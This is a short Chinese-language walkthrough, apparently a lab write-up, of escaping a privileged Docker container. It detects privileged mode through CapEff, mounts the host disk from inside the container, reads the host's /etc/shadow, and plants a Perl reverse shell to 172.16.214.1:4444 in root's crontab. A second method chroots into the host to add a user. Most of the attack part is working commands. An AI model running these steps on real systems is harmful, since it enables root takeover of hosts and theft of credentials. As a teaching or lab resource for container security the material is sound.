Privileged 特权模式容器逃逸
# 搭建
例如当前有个普通用户 teamssix,并且是在 docker 用户组内的
在普通用户下,使用 --privileged=true 创建一个容器
docker run --rm --privileged=true -it alpine
1
# 检测
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
1
# 复现
# 方法一
查看挂载磁盘设备
fdisk -l
1
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
mkdir /test && mount /dev/sda1 /test
1
尝试访问宿主机 shadow 文件,可以看到正常访问
cat /test/etc/shadow
1
也可以在定时任务中写入反弹 shell
这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样
echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
1
一分钟后,就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限。
# 方法二
mount /dev/sda1 /mnt
chroot /mnt adduser john
1
2
2
通过新添加的用户登录